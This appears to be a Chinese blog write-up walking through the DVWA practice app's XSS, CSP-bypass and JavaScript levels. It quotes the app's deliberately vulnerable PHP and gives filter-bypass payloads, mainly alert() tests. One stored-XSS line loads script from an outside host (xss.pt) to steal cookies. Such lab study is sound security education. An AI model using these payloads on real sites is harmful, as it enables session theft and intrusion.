if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

通过stripos()函数过滤含有<script>的标签数据(不区分大小写)。但是还有很多标签如<vsg><img>等等绕过。

?default=English</option></select><img src=1 onerror=alert('xss')>

但是需要注意闭合前面的标签。

High

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

白名单 只允许 传的 default值 为 French English German Spanish 其中一个

#可以传入数据,

?default=English#<script>alert(1)</script>

Impossible


<?php

# Don't need to do anything, protction handled on the client side

?>

服务端不做任何事情,都在前端完成,从而没有输入点,避免了XSS。

<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>

XSS(Reflected)

Low

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

直接将$_GET[name]拼接到了HTML标签中,于是容易XSS

?name=<script>alert(1);</script>

但是反射型XSS,一般无法弹cookie,在配合CSRF时,还有很多的操作空间。

Medium

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

通过str_replace过滤了<script>,但是可以直接通过大小写绕过,双写绕过或使用其他标签。

<scRipt>alert('XSS');</Script>

High

服务器端核心代码

<?php 
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞利用

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

<img src=1 onerror=alert(1)>

Impossible

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素。

XSS(Stored)

Low

明显的存储型XSS。trim去除数据末尾的空白符,stripslashes(string)函数删除字符串中的反斜杠。然后用SQL语句拼接到数据库里存储起来,并且再次访问时,会调用这些数据,写到一个一个div中

<div id="guestbook_comments">Name: test<br />Message: This is a test comment.<br /></div>

源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>
<script>alert('XSS');</script>
<sCRiPt/SrC=//xss.pt/Lq8N> //再次打开时会调用导致弹Cookie等

Medium

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

message中得标签去除,将name<script>替换成空。name变量更好突破,双写,大小写,换成其他标签都可以。

下面给出两个payload

1. name大小写双写绕过,但因为name存在js的长度限制,可以用burp接收
txtName=<scRipt>alert('XSS');</sCript>&mtxMessage=2&btnSign=Sign+Guestbook

2. name替换其他标签
txtName=<img src=x onerror=alert('XSS')>&mtxMessage=12138

High

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

name也是用了一个正则,把<script>大小写双写都包含了,但是一样可以利用其它标签和事件来触发js。

<img src=1 onerror=alert(1)>

Impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,通过使用htmlspecialchars函数,解决了XSS,但是要注意的是,如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。

CSP Bypass

Low

首先,何为CSP?CSP是内容安全策略(Content Security Policy),是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少它们的应用程序执行的特权”。

实际应用中,配置了CSP策略,往往在请求头中出现Content-Security-PolicyX-Content-Security-Policy 或者 X-Webkit-CSP(X-*不推荐使用)

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

script-src 'self'是指允许同站的资源调用运行(js等),即这段代码使用了CSP信任了以下网站,这些网站的内容CSP都不会拦截

本网站的资源
https://pastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com

于是我们可以利用其中一些可控的网站,写一些XSS等危险内容,再通过该网站调用,即利用白名单中的网站可控数据来打XSS。

发现https://pastebin.com是一个代码编辑网站,可以写代码存到这个网站的服务器,并且上面的代码中直接通过js引用,所以在这个网站中写一段alert("hahaha"),将地址提交到dvwa中即可弹窗。

https://pastebin.com

Medium

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。
nonce-source,仅允许特定的内联脚本块,nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA"

允许通过<script nonce="***">,来执行***部分的代码和脚本。

更多CSPSourceValue,参见http://cosmos-admin.hgame.day-day.work

payload

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('XSS')</script>

使用 ‘unsafe-inline’ 和 ‘unsafe-eval’ 都是不安全的,它们会使您的网站有跨站脚本攻击风险。

High

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

发现这个文件本身没什么问题,但是调用了一个jsonp.php,跟进一下:

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}

$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

发现$callback可控,而且直接拼接输出。回头一看,原页面中include也是可控的,而且是直接拼接到HTML body中输出的。但是因为有CSP,不可以直接无脑的去打payload

联系jsonp.php的$callback,且符合CSP的同源规则,可以这样利用:

include=<script src="source/jsonp.php?callback=alert('XSS');"></script>

这样由include去调用jsonp.php,而jsonp.php中的参数可控且直接拼接,json.php,没有用CSP规则,这样就绕开了CSP完成了XSS攻击。

Impossible

<?php
header("Content-Type: application/json; charset=UTF-8");

$outp = array ("answer" => "15");

echo "solveSum (".json_encode($outp).")";
?>

jsonp_impossible.php修复了call_back可控的问题。

JavaScript

<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

generate_token();
</script>
EOF;
?>

generate_token()函数设置了一个token=md5(rot13($phrase))

有因为phrase='success',所以带上这个token应该就对了。

因为这个函数是前台的,我们直接用console,修改运行一下,就能得到token

function generate_token() {
var phrase = 'success';
alert(md5(rot13(phrase)));
}

Medium

<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/medium.js"></script>
EOF;
?>

采用引用的外部js的方式

setTimeout是一个计时器,300毫秒就执行一次do_elsesomething("XX"),而token就在这个函数设置。

function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
setTimeout(function () {
do_elsesomething("XX")
}, 300);

function do_elsesomething(e) {
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

High

高级和中级类似,生成 token 的逻辑在额外的 js 文件中。和中级不同的是,这里的 JS 经过了混淆的。。。就显得很混乱。

推荐一个网站http://deobfuscatejavascript.com/#

用来解js的混淆,挺好用的,或者直接看未混淆版的(dvwa\vulnerabilities\javascript\source\high_unobfuscated.js

function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

这里生成 token 的步骤是:

1、执行token_part_1("ABCD", 44)
2、执行token_part_2("XX")(原本是延迟 300ms执行的那个)
3、点击按钮的时候执行 token_part_3

所以我们在输入框输入 success 后,再到控制台中输入token_part_1("ABCD", 44)token_part_2("XX")这两个函数就可以了。

我这里没加载出js,我直接整个代码放到console执行,也是可以的,但是注意改一下执行顺序:

token_part_1("ABCD", 44);
setTimeout(function(){token_part_2("XX")},300);
document.getElementById("phrase").value="";
document.getElementById("send").addEventListener("click", token_part_3);

Impossible

You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.

哈哈哈哈哈哈。

参考链接

  1. 新手指南:DVWA-1.9全级别教程,安全客,lonehand
文章作者: V0WKeep3r
文章链接: http://v0w.top/2020/01/05/DVWA-all_in_one/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏